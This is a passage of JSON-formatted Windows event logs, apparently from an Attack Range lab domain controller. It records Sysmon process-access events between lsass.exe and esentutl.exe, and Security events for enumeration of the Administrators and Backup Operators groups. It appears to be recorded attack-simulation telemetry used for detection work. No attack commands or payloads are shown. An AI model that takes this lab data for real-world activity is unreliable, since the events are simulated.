11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222144,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222145,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222146,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222147,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 908\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"908","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222148,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222149,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership 